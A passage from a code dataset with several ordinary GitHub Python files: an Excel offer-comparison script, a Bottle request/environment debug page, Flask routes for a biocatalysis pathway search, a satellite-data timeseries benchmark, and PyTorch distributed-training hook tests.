"doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "86", "api": [{"api_name": "config.PoolConfig.PoolConfig", "line_number": 30, "usage_type": "call"}, {"api_name": "service.epi_province_service.EpiProvinceService", "line_number": 31, "usage_type": "call"}, {"api_name": "service.epi_area_service.EpiAreaService", "line_number": 32, "usage_type": "call"}, {"api_name": "requests.packages.urllib3.disable_warnings", "line_number": 40, "usage_type": "call"}, {"api_name": "requests.packages", "line_number": 40, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 41, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 54, "usage_type": "call"}, {"api_name": "pojo.epi_province.EpiProvince", "line_number": 89, "usage_type": "call"}, {"api_name": "pojo.epi_area.EpiArea", "line_number": 116, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 128, "usage_type": "call"}, {"api_name": "{'PoolConfig': 'config.PoolConfig.PoolConfig'}", "line_number": 131, "usage_type": "call"}]} +{"seq_id": "32166895874", "text": "import glob\nimport os\nimport xlsxwriter\nimport pandas as pd\nfrom pathlib import Path\nfrom datetime import date\n\ndef write_Sav_Che_Sheet(df_OLD,df_NEW):\n dfDiff = df_NEW.copy()\n for row in range(dfDiff.shape[0]):\n for col in range(dfDiff.shape[1]):\n try:\n value_OLD = df_OLD.iloc[row,col]\n except:\n value_OLD=\"\"\n try:\n value_NEW = df_NEW.iloc[row,col]\n if value_OLD==value_NEW and value_NEW!=0:\n dfDiff.iloc[row,col] = df_NEW.iloc[row,col]\n elif value_OLD==value_NEW and value_NEW==0:\n dfDiff.iloc[row,col] = \"\"\n elif( value_OLD!=value_NEW and value_NEW==0):\n dfDiff.iloc[row,col] = ('Expired Offers:\\n{}').format(value_OLD)\n else:\n dfDiff.iloc[row,col] = ('Update To:\\n{}').format(value_NEW)\n \n except:\n dfDiff.iloc[row,col] = ('{}-->{}').format(value_OLD, 'NaN')\n\n for row in range(dfDiff.shape[0]):\n for col in range(dfDiff.shape[1]):\n if row >0 and col ==7:\n if len(dfDiff.iloc[row, col]) <= 255:\n dfDiff.iloc[row, col] = '=HYPERLINK(\"{0}\",\"{1}\")'.format(dfDiff.iloc[row, col],dfDiff.iloc[row, 0])\n\n return dfDiff\n \ndef write_style_sheet(writer, SavOrCheSheet):\n workbook = writer.book\n worksheet = writer.sheets[SavOrCheSheet]\n\n\n # define formats\n highlight_fmt_red = workbook.add_format({'font_color': '#000000', 'bg_color':'#FF0000'})\n highlight_fmt_yellow = workbook.add_format({'font_color': '#000000', 'bg_color':'#FFFF00'})\n\n ## highlight Update cells\n worksheet.conditional_format('A1:ZZ1000', {'type': 'text',\n 'criteria': 'containing',\n 'value':'Update To',\n 'format': highlight_fmt_yellow})\n ## highlight Expired cells\n worksheet.conditional_format('A1:ZZ1000', {'type': 'text',\n 'criteria': 'containing',\n 'value':'Expired Offers',\n 'format': highlight_fmt_red})\n \n # Style Excel Format\n\n # Add a header format.\n header_format_blank = workbook.add_format({\n 'bold': True,\n 'text_wrap': True,\n 'valign': 'vcenter',\n 'align': 'center', \n 'fg_color': '#FFFFFF',\n 'border': 1})\n worksheet.set_column(\"I:Z\", None, header_format_blank)\n\n # Add a header format.\n header_format = workbook.add_format({\n 'bold': True,\n 'text_wrap': True,\n 'valign': 'vcenter',\n 'align': 'center', \n 'fg_color': '#D7E4BC',\n 'border': 1})\n worksheet.set_row(0, None, header_format)\n\n # Add a first row \"Bank\" format.\n first_column_format = workbook.add_format({\n 'bold': False,\n 'text_wrap': True,\n 'align': 'center', \n 'valign': 'vcenter',\n 'border': 1})\n worksheet.set_column('A:A', 15, first_column_format)\n\n # Add a second row \"Account Name\" format.\n second_column_format = workbook.add_format({\n 'bold': False,\n 'text_wrap': True,\n 'align': 'center', \n 'valign': 'vcenter',\n 'border': 1})\n worksheet.set_column('B:B', 50, second_column_format)\n\n # Add a third row \"Account Type\" format.\n third_column_format = workbook.add_format({\n 'bold': False,\n 'text_wrap': True,\n 'align': 'center', \n 'valign': 'vcenter',\n 'border': 1})\n worksheet.set_column('C:C', 25, third_column_format)\n\n # Add a forth row \"Monthly Fee\" format.\n forth_column_format = workbook.add_format({\n 'bold': False,\n 'text_wrap': True,\n 'align': 'left', \n 'valign': 'vcenter',\n 'border': 1})\n worksheet.set_column('D:D', 50, forth_column_format)\n\n # Add a fifth row \"Special Offer\" format.\n fifth_column_format = workbook.add_format({\n 'bold': False,\n 'text_wrap': True,\n 'align': 'left', \n 'valign': 'vcenter',\n 'border': 1})\n worksheet.set_column('E:E', 50, fifth_column_format)\n\n # Add a sixth row \"Expiry Date\" format.\n sixth_column_format = workbook.add_format({\n 'bold': False,\n 'text_wrap': True,\n 'align': 'left', \n 'valign': 'vcenter',\n 'border': 1})\n worksheet.set_column('F:F', 15, sixth_column_format)\n\n # Add a seventh row \"Account Perks\" format.\n seventh_column_format = workbook.add_format({\n 'bold': False,\n 'text_wrap': True,\n 'align': 'left', \n 'valign': 'vcenter',\n 'border': 1})\n worksheet.set_column('G:G', 50, seventh_column_format) \n\n # Add a eighth row \"Webiste\" format.\n ninth_column_format = workbook.add_format({\n 'bold': False,\n 'text_wrap': True,\n 'align': 'center', \n 'valign': 'vcenter',\n 'border': 1})\n worksheet.set_column('H:H', 30, ninth_column_format) \n\n # Freeze the first row.\n worksheet.freeze_panes(1, 0) \n\n\n\ndef compare_changed_Special_Offer():\n \n\n #Today date in order to generate Excel timestamp\n todayDate = str(date.today())\n\n #Get correct file\n excelFile=glob.glob(\"specialOffer_[0-9]*.xlsx\")\n excelFile = sorted(excelFile)\n\n #path to files\n currentDirectory = os.getcwd()+\"\\\\\"\n path_OLD=Path(currentDirectory+excelFile[len(excelFile)-2])\n path_NEW=Path(currentDirectory+excelFile[len(excelFile)-1])\n\n # Read in the two excel files and fill NA\n df_OLD_Sav = pd.read_excel(path_OLD,sheet_name=\"Saving\", header=None, names=None).fillna(0)\n df_NEW_Sav = pd.read_excel(path_NEW,sheet_name=\"Saving\",header=None, names=None).fillna(0)\n df_OLD_Che = pd.read_excel(path_OLD,sheet_name=\"Chequing\",header=None, names=None).fillna(0)\n df_NEW_Che = pd.read_excel(path_NEW,sheet_name=\"Chequing\",header=None, names=None).fillna(0)\n print(df_OLD_Sav)\n print(df_NEW_Sav)\n\n writer = pd.ExcelWriter(\"specialOffer_compare\"+todayDate+\".xlsx\", engine='xlsxwriter') # pylint: disable=abstract-class-instantiated\n\n write_Sav_Che_Sheet(df_OLD_Sav,df_NEW_Sav).to_excel(writer, sheet_name='DIFF_Sav', index=False, header=None)\n write_Sav_Che_Sheet(df_OLD_Che,df_NEW_Che).to_excel(writer, sheet_name='DIFF_Che', index=False, header=None)\n\n\n \n\n write_style_sheet(writer, \"DIFF_Sav\")\n write_style_sheet(writer, \"DIFF_Che\")\n\n # save\n writer.save()", "repo_name": "Strathhardie/Competitive-Tracker-Public", "sub_path": "Special-Offers/src/compare_Excel.py", "file_name": "compare_Excel.py", "file_ext": "py", "file_size_in_byte": 6585, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "datetime.date.today", "line_number": 161, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 161, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 164, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 168, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 169, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 170, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 173, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 174, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 175, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 176, "usage_type": "call"}, {"api_name": "pandas.ExcelWriter", "line_number": 180, "usage_type": "call"}]} +{"seq_id": "17501486618", "text": "import os\nimport argparse\nfrom time import sleep\nfrom pprint import pformat\n\nimport bottle\nfrom bottle import Bottle, run, request, template, route, view\n\nbottle.TEMPLATE_PATH.insert(0, \"%s/views\" % (os.path.dirname(__file__)))\n\n\n@route('/hello')\ndef hello():\n return \"Hello World!\"\n\n\n@route('/')\n@route('/')\n@view('info')\ndef path(path=\"/\"):\n \"\"\"\n Render main template with lot of request and os information\n \"\"\"\n # Sleep if defined\n timeout = os.getenv('APP_DELAY')\n if timeout:\n sleep(int(timeout))\n\n # Collect info\n bottle_env = dict(request.environ)\n os_env = dict(os.environ)\n\n return dict(path=path, os_env=os_env, bottle_env=bottle_env)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Display HTTP headers\")\n parser.add_argument(\"--host\", \"-H\", type=str,\n default=\"0.0.0.0\", help=\"listen host\")\n parser.add_argument(\"--port\", \"-p\", type=int,\n default=8080, help=\"listen port\")\n args = parser.parse_args()\n\n run(host=args.host, port=args.port, debug=True, reloader=True)\n\n\nif __name__ == '__main__':\n main()\n\napp = bottle.default_app()\n", "repo_name": "vscoder/trytravis-otus", "sub_path": "webdebugger/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1171, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "bottle.TEMPLATE_PATH.insert", "line_number": 9, "usage_type": "call"}, {"api_name": "bottle.TEMPLATE_PATH", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "bottle.route", "line_number": 12, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 25, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 27, "usage_type": "call"}, {"api_name": "bottle.request.environ", "line_number": 30, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 30, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 31, "usage_type": "attribute"}, {"api_name": "bottle.route", "line_number": 17, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 18, "usage_type": "call"}, {"api_name": "bottle.view", "line_number": 19, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 37, "usage_type": "call"}, {"api_name": "bottle.run", "line_number": 44, "usage_type": "call"}, {"api_name": "bottle.default_app", "line_number": 50, "usage_type": "call"}]} +{"seq_id": "14505240881", "text": "from flask import render_template, redirect, url_for\nfrom retrobiocat_web.app.retrobiocat import bp\nfrom flask import current_app\n\nfrom retrobiocat_web.app.retrobiocat.functions.load_save_network import save_network\nfrom retrobiocat_web.app.main_site.functions.progress_bar import set_progress_bar\nfrom retrobiocat_web.app.retrobiocat.new_forms.enzyme_specificity_form import Specificity_Scorer_Config_Form\nfrom retrobiocat_web.app.retrobiocat.new_forms.mcts_form import MCTSExploreForm\nfrom retrobiocat_web.app.retrobiocat.new_forms.retrosynthesis_form import Retrosynthesis_Config_Form\nfrom retrobiocat_web.app.retrobiocat.new_forms.vis_form import Visualiser_Config_Form\nfrom retrobiocat_web.retro.enzyme_identification.config import Specificity_Scorer_Config\nfrom retrobiocat_web.retro.enzyme_identification.specificity_scorer import Specificity_Scorer\nfrom retrobiocat_web.retro.network_pathway.network import Network\nfrom retrobiocat_web.retro.pathway_search.mcts.config import MCTS_Config\nfrom retrobiocat_web.retro.pathway_search.mcts.mcts import MCTS\nimport json\nfrom rq import get_current_job\nfrom retrobiocat_web.app.retrobiocat.functions import pathway_packagaing\nfrom retrobiocat_web.app.main_site.functions.get_queue_task_details import queue_task_details\nfrom retrobiocat_web.retro.retrosynthesis_engine.config import RetrosynthesisConfig\nfrom retrobiocat_web.retro.visualisation.config import Visualiser_Config\n\n\n@bp.route('/mcts_explorer_form', methods=['GET', 'POST'])\ndef mcts_explorer_form():\n form = MCTSExploreForm()\n retro_config_form = Retrosynthesis_Config_Form()\n spec_config_form = Specificity_Scorer_Config_Form()\n vis_config_form = Visualiser_Config_Form()\n\n if form.validate_on_submit() and retro_config_form.validate_on_submit() \\\n and spec_config_form.validate_on_submit() and vis_config_form.validate_on_submit():\n\n if current_app.config['PRODUCTION'] == False:\n log_level = 'DEBUG'\n else:\n log_level = 'WARNING'\n\n\n task = current_app.pathway_queue.enqueue(initial_search_job,\n form.form_to_config_dict(),\n retro_config_form.form_to_config_dict(),\n spec_config_form.form_to_config_dict(),\n vis_config_form.form_to_config_dict(),\n log_level\n )\n task_id = task.get_id()\n return redirect(url_for('retrobiocat.mcts_explorer', task_id=task_id))\n\n return render_template('mcts_explorer/mcts_explorer_form.html',\n form=form,\n retro_config_form=retro_config_form,\n spec_config_form=spec_config_form,\n vis_config_form=vis_config_form)\n\ndef initial_search_job(form_data, retro_config_attrs, spec_config_attrs, vis_config_attrs, log_level):\n job = get_current_job()\n\n network = Network(target_smiles=form_data['target_smiles'])\n\n retro_config = RetrosynthesisConfig().update_from_dict(retro_config_attrs)\n mcts_config = MCTS_Config().update_from_dict(form_data)\n vis_config = Visualiser_Config().update_from_dict(vis_config_attrs)\n scorer_config = Specificity_Scorer_Config().update_from_dict(spec_config_attrs)\n\n mcts = MCTS(network, config=mcts_config, retro_config=retro_config, log_level=log_level)\n\n set_progress_bar(job, 50, f'running ({mcts.config.max_search_time}s)')\n mcts.run()\n set_progress_bar(job, 75, f'MCTS complete, adding enzyme information')\n\n scorer = Specificity_Scorer(mcts.network, config=scorer_config)\n scorer.score()\n\n set_progress_bar(job, 75, f'MCTS and scoring complete, generating pathways')\n\n pathways = mcts.get_pathways()\n print(f\"NUM PATHWAYS = {len(pathways)}\")\n\n clusters = mcts.cluster_and_cost(pathways)\n\n save_network(job.id, mcts.network, retro_config, scorer_config, vis_config)\n pathway_packagaing.package_all_pathways(job.id, pathways)\n pathway_packagaing.package_clustered_pathways(clusters, job.id)\n pathway_packagaing.package_visjs_pathways(job.id)\n\n set_progress_bar(job, 90, f'Pathways scored')\n\n pathway_settings = {'weight_num_enzymes': 1,\n 'weight_complexity': 1,\n 'weight_starting': 1,\n 'weight_known_enzymes': 1,\n 'weight_diversity': 1,\n 'options': {},\n 'num_pathways': len(clusters)}\n\n\n current_app.redis.mset({f\"{job.id}__pathway_settings\": json.dumps(pathway_settings)})\n current_app.redis.expire(job.id, 60 * 60)\n\n\n@bp.route('/mcts_explorer//', methods=['GET'])\ndef mcts_explorer(task_id):\n queue_name = 'pathway'\n\n # if task exists but is not finished, go to loading screen\n task = current_app.pathway_queue.fetch_job(task_id)\n\n if not task:\n task_id = 'task_not_found'\n task_status = 'task_not_found'\n queue_details = 'Error - task not found'\n task_details = 'Error - task not found'\n else:\n task_id = task.get_id()\n task_status = task.get_status(refresh=True)\n queue_details, task_details = queue_task_details(task_id, queue_name)\n\n if task_status != 'finished':\n return render_template('queue_loading.html', task_queue=queue_name, task_id=task_id,\n queue_details=queue_details, task_details=task_details,\n title='Loading substrate summary', ajax_timer=3000, refresh_timer=30000)\n\n # nodes, edges, max_varient = get_visjs_pathway(task_id, 1, 1)\n pathway_settings = json.loads(current_app.redis.get(task_id + '__pathway_settings'))\n num_pathways = pathway_settings['num_pathways']\n pathway_data = json.loads(current_app.redis.get(f\"{task_id}__1\"))\n nodes, edges, max_varient = pathway_data[0]\n\n return render_template('pathway_explorer/pathway_explorer.html',\n nodes=nodes,\n edges=edges,\n max_varient=max_varient,\n options=pathway_settings['options'],\n weight_complexity=pathway_settings['weight_complexity'],\n weight_num_enzymes=pathway_settings['weight_num_enzymes'],\n weight_starting=pathway_settings['weight_starting'],\n weight_known_enzymes=pathway_settings['weight_known_enzymes'],\n weight_diversity=pathway_settings['weight_diversity'],\n num_pathways=num_pathways,\n task_id=task_id)\n\n", "repo_name": "willfinnigan/retrobiocat-db", "sub_path": "retrobiocat_web/app/retrobiocat/routes/mcts_explorer/launch_page.py", "file_name": "launch_page.py", "file_ext": "py", "file_size_in_byte": 6806, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "retrobiocat_web.app.retrobiocat.new_forms.mcts_form.MCTSExploreForm", "line_number": 26, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.new_forms.retrosynthesis_form.Retrosynthesis_Config_Form", "line_number": 27, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.new_forms.enzyme_specificity_form.Specificity_Scorer_Config_Form", "line_number": 28, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.new_forms.vis_form.Visualiser_Config_Form", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.current_app.config", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.current_app.pathway_queue.enqueue", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.current_app.pathway_queue", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 50, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.bp.route", "line_number": 24, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.bp", "line_number": 24, "usage_type": "name"}, {"api_name": "rq.get_current_job", "line_number": 57, "usage_type": "call"}, {"api_name": "retrobiocat_web.retro.network_pathway.network.Network", "line_number": 59, "usage_type": "call"}, {"api_name": "retrobiocat_web.retro.retrosynthesis_engine.config.RetrosynthesisConfig", "line_number": 61, "usage_type": "call"}, {"api_name": "retrobiocat_web.retro.pathway_search.mcts.config.MCTS_Config", "line_number": 62, "usage_type": "call"}, {"api_name": "retrobiocat_web.retro.visualisation.config.Visualiser_Config", "line_number": 63, "usage_type": "call"}, {"api_name": "retrobiocat_web.retro.enzyme_identification.config.Specificity_Scorer_Config", "line_number": 64, "usage_type": "call"}, {"api_name": "retrobiocat_web.retro.pathway_search.mcts.mcts.MCTS", "line_number": 66, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.main_site.functions.progress_bar.set_progress_bar", "line_number": 68, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.main_site.functions.progress_bar.set_progress_bar", "line_number": 70, "usage_type": "call"}, {"api_name": "retrobiocat_web.retro.enzyme_identification.specificity_scorer.Specificity_Scorer", "line_number": 72, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.main_site.functions.progress_bar.set_progress_bar", "line_number": 75, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.functions.load_save_network.save_network", "line_number": 82, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.functions.pathway_packagaing.package_all_pathways", "line_number": 83, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.functions.pathway_packagaing", "line_number": 83, "usage_type": "name"}, {"api_name": "retrobiocat_web.app.retrobiocat.functions.pathway_packagaing.package_clustered_pathways", "line_number": 84, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.functions.pathway_packagaing", "line_number": 84, "usage_type": "name"}, {"api_name": "retrobiocat_web.app.retrobiocat.functions.pathway_packagaing.package_visjs_pathways", "line_number": 85, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.functions.pathway_packagaing", "line_number": 85, "usage_type": "name"}, {"api_name": "retrobiocat_web.app.main_site.functions.progress_bar.set_progress_bar", "line_number": 87, "usage_type": "call"}, {"api_name": "flask.current_app.redis.mset", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.current_app.redis", "line_number": 98, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 98, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.current_app.redis.expire", "line_number": 99, "usage_type": "call"}, {"api_name": "flask.current_app.redis", "line_number": 99, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 99, "usage_type": "name"}, {"api_name": "flask.current_app.pathway_queue.fetch_job", "line_number": 107, "usage_type": "call"}, {"api_name": "flask.current_app.pathway_queue", "line_number": 107, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 107, "usage_type": "name"}, {"api_name": "retrobiocat_web.app.main_site.functions.get_queue_task_details.queue_task_details", "line_number": 117, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 120, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 125, "usage_type": "call"}, {"api_name": "flask.current_app.redis.get", "line_number": 125, "usage_type": "call"}, {"api_name": "flask.current_app.redis", "line_number": 125, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 125, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 127, "usage_type": "call"}, {"api_name": "flask.current_app.redis.get", "line_number": 127, "usage_type": "call"}, {"api_name": "flask.current_app.redis", "line_number": 127, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 127, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 130, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.bp.route", "line_number": 102, "usage_type": "call"}, {"api_name": "retrobiocat_web.app.retrobiocat.bp", "line_number": 102, "usage_type": "name"}]} +{"seq_id": "32601796176", "text": "from datetime import timedelta\nfrom os.path import abspath, dirname, join\n\nimport geojson\nfrom fire import Fire\nfrom sentinelhub import FisRequest, CRS, DataCollection, Geometry, DownloadFailedException\nfrom sentinelhub import SHConfig\nfrom shapely.geometry import shape\n\nfrom timeseries.timer import Timer\nfrom timeseries.histogram import create_histogram\n\n\nclass BenchMark:\n\n def __init__(self):\n self._endpoints = [\n 'https://services.sentinel-hub.com',\n 'https://creodias.sentinel-hub.com',\n 'https://shservices.mundiwebservices.com'\n ]\n\n self._config = SHConfig()\n self._config.instance_id = ''\n\n def time_series(self):\n for endpoint in self._endpoints:\n result_path = f\"./results/{endpoint.replace('https://', '')}\"\n\n with open(f\"{result_path}.txt\", \"w+\") as file:\n file.write(f\"Running benchmark on {endpoint}:\\n\\n\")\n\n self._config.sh_base_url = endpoint\n\n with open(join(abspath(dirname(dirname(__file__))), 'input_fields', 'europe_20_fields.geojson')) as f:\n input_geojson = geojson.load(f)\n\n # Feature doesn't exist on shservices.mundiwebservices.com\n del input_geojson.features[16]\n\n t = Timer()\n t.start()\n\n for i, f in enumerate(input_geojson.features):\n file.write(f\"Feature {i + 1}:\\n\\n\")\n\n geometry = Geometry(shape(f[\"geometry\"]), CRS.WGS84)\n temporal_extent = (\"2020-01-01\", \"2020-10-31\")\n\n fis_request = FisRequest(\n data_collection=DataCollection.SENTINEL2_L1C,\n layer='S2L1C',\n geometry_list=[geometry],\n time=temporal_extent,\n resolution='10m',\n config=self._config\n )\n\n try:\n fis_data = fis_request.get_data()\n\n file.write(f\"{fis_data}\\n\\n\")\n except DownloadFailedException as e:\n file.write(f\"Failed to execute request: {e}\\n\\n\")\n\n file.write(f\"Elapsed time for feature: {timedelta(seconds=t.split_feature())}\\n\\n\")\n\n timings = t.stop()\n\n file.write(f\"Total elapsed time: {timedelta(seconds=timings['elapsed_time'])}\\n\\n\")\n\n file.write(\"Statistics:\\n\\n\")\n file.write(f\"Min: {timedelta(seconds=timings['stats']['min'])}\\n\")\n file.write(f\"Max: {timedelta(seconds=timings['stats']['max'])}\\n\")\n file.write(f\"Mean: {timedelta(seconds=timings['stats']['mean'])}\\n\")\n file.write(f\"StDev: {timedelta(seconds=timings['stats']['stdev'])}\\n\")\n\n create_histogram(result_path, timings['feature_timings'])\n\n\nif __name__ == \"__main__\":\n Fire(BenchMark().time_series)\n", "repo_name": "VITObelgium/eo-platform-benchmarks", "sub_path": "timeseries/sentinelhub-dias/benchmark.py", "file_name": "benchmark.py", "file_ext": "py", "file_size_in_byte": 3002, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sentinelhub.SHConfig", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 35, "usage_type": "call"}, {"api_name": "geojson.load", "line_number": 36, "usage_type": "call"}, {"api_name": "timeseries.timer.Timer", "line_number": 41, "usage_type": "call"}, {"api_name": "sentinelhub.Geometry", "line_number": 47, "usage_type": "call"}, {"api_name": "shapely.geometry.shape", "line_number": 47, "usage_type": "call"}, {"api_name": "sentinelhub.CRS.WGS84", "line_number": 47, "usage_type": "attribute"}, {"api_name": "sentinelhub.CRS", "line_number": 47, "usage_type": "name"}, {"api_name": "sentinelhub.FisRequest", "line_number": 50, "usage_type": "call"}, {"api_name": "sentinelhub.DataCollection.SENTINEL2_L1C", "line_number": 51, "usage_type": "attribute"}, {"api_name": "sentinelhub.DataCollection", "line_number": 51, "usage_type": "name"}, {"api_name": "sentinelhub.DownloadFailedException", "line_number": 63, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 74, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 76, "usage_type": "call"}, {"api_name": "timeseries.histogram.create_histogram", "line_number": 78, "usage_type": "call"}, {"api_name": "fire.Fire", "line_number": 82, "usage_type": "call"}]} +{"seq_id": "18335443052", "text": "\nimport os\n\nimport numpy as np\nimport torch\nimport torch.distributed as c10d\nfrom torch import nn\nfrom torch.distributed.algorithms.ddp_comm_hooks import (\n DDPCommHookType,\n register_ddp_comm_hook,\n)\nfrom torch.nn.parallel import DistributedDataParallel\nfrom torch.testing._internal.common_distributed import (\n MultiProcessTestCase,\n requires_nccl,\n skip_if_lt_x_gpu,\n skip_if_rocm,\n)\nfrom torch.testing._internal.common_utils import run_tests\n\n\ndef gpus_for_rank(world_size):\n visible_devices = list(range(torch.cuda.device_count()))\n gpus_per_process = torch.cuda.device_count() // world_size\n gpus_for_rank = []\n for rank in range(world_size):\n gpus_for_rank.append(\n visible_devices[rank * gpus_per_process : (rank + 1) * gpus_per_process]\n )\n return gpus_for_rank\n\n\nclass Task(nn.Module):\n def __init__(self):\n super(Task, self).__init__()\n torch.manual_seed(0)\n self.p = nn.Parameter(torch.randn(40, 20))\n\n def forward(self, x):\n return self.p * x\n\n\nclass TestDdpCommHook(nn.Module):\n def __init__(self):\n super().__init__()\n self.t0 = Task()\n\n def forward(self, x, rank):\n return self.t0(x ** (1 + rank))\n\n\nclass DistributedDataParallelCommHookTest(MultiProcessTestCase):\n def setUp(self):\n super(DistributedDataParallelCommHookTest, self).setUp()\n self._fork_processes()\n\n def tearDown(self):\n try:\n os.remove(self.file_name)\n except OSError:\n pass\n\n @property\n def world_size(self):\n return 2\n\n def _local_model(self):\n local_model = TestDdpCommHook().cpu()\n\n return local_model\n\n def _get_grads(self, process_group, hook_type=None):\n device_id = gpus_for_rank(self.world_size)[self.rank][0]\n gpu_model = DistributedDataParallel(\n TestDdpCommHook().to(device_id),\n device_ids=[device_id],\n process_group=process_group,\n )\n\n # Register DDP Communication Hook if defined\n if hook_type is not None:\n register_ddp_comm_hook(\n comm_hook_type=hook_type, model=gpu_model, state=process_group\n )\n\n return self._run_and_get_grads(gpu_model)\n\n def _run_and_get_grads(self, model):\n torch.manual_seed(2020)\n input = torch.randn(40, 20)\n # Run forward\n output = model(input, self.rank)\n\n # Run backward\n output.mean().backward()\n\n return [p.grad.data.cpu().numpy() for p in model.parameters()]\n\n @requires_nccl()\n @skip_if_lt_x_gpu(2)\n @skip_if_rocm\n def test_ddp_comm_hook_allreduce_hook(self):\n \"\"\"\n This unit test verifies the ``allreduce`` hook registered case gives same result\n with no hook registered case.\n \"\"\"\n store = c10d.FileStore(self.file_name, self.world_size)\n process_group = c10d.ProcessGroupNCCL(store, self.rank, self.world_size)\n\n # No hook registered case, get the reference grads.\n reference_grads = self._get_grads(process_group, None)\n # Register hook case, get the hook grads.\n hook_grads = self._get_grads(process_group, DDPCommHookType.ALLREDUCE)\n\n np.testing.assert_allclose(hook_grads, reference_grads, rtol=1e-5, atol=0)\n\n @requires_nccl()\n @skip_if_lt_x_gpu(2)\n @skip_if_rocm\n def test_ddp_comm_hook_fp16compress_hook(self):\n \"\"\"\n This unit test verifies the ``fp16 compress`` hook registered case\n gives close result with no hook registered case.\n \"\"\"\n store = c10d.FileStore(self.file_name, self.world_size)\n process_group = c10d.ProcessGroupNCCL(store, self.rank, self.world_size)\n\n # No hook registered case, get the reference grads.\n reference_grads = self._get_grads(process_group, None)\n # Register hook case, get the hook grads.\n hook_grads = self._get_grads(process_group, DDPCommHookType.FP16_COMPRESS)\n\n np.testing.assert_allclose(hook_grads, reference_grads, rtol=1e-5, atol=1e-4)\n\n @requires_nccl()\n @skip_if_lt_x_gpu(2)\n @skip_if_rocm\n def test_ddp_comm_hook_quantize_per_tensor_hook(self):\n \"\"\"\n This unit test verifies the ``quantize per tensor`` hook registered case\n gives close result with no hook registered case.\n \"\"\"\n store = c10d.FileStore(self.file_name, self.world_size)\n process_group = c10d.ProcessGroupNCCL(store, self.rank, self.world_size)\n\n # No hook registered case, get the reference grads.\n reference_grads = self._get_grads(process_group, None)\n # Register hook case, get the hook grads.\n hook_grads = self._get_grads(process_group, DDPCommHookType.QUANTIZE_PER_TENSOR)\n\n np.testing.assert_allclose(hook_grads, reference_grads, rtol=1e-5, atol=1e-4)\n\n @requires_nccl()\n @skip_if_lt_x_gpu(2)\n @skip_if_rocm\n def test_ddp_comm_hook_quantize_per_channel_hook(self):\n \"\"\"\n This unit test verifies the 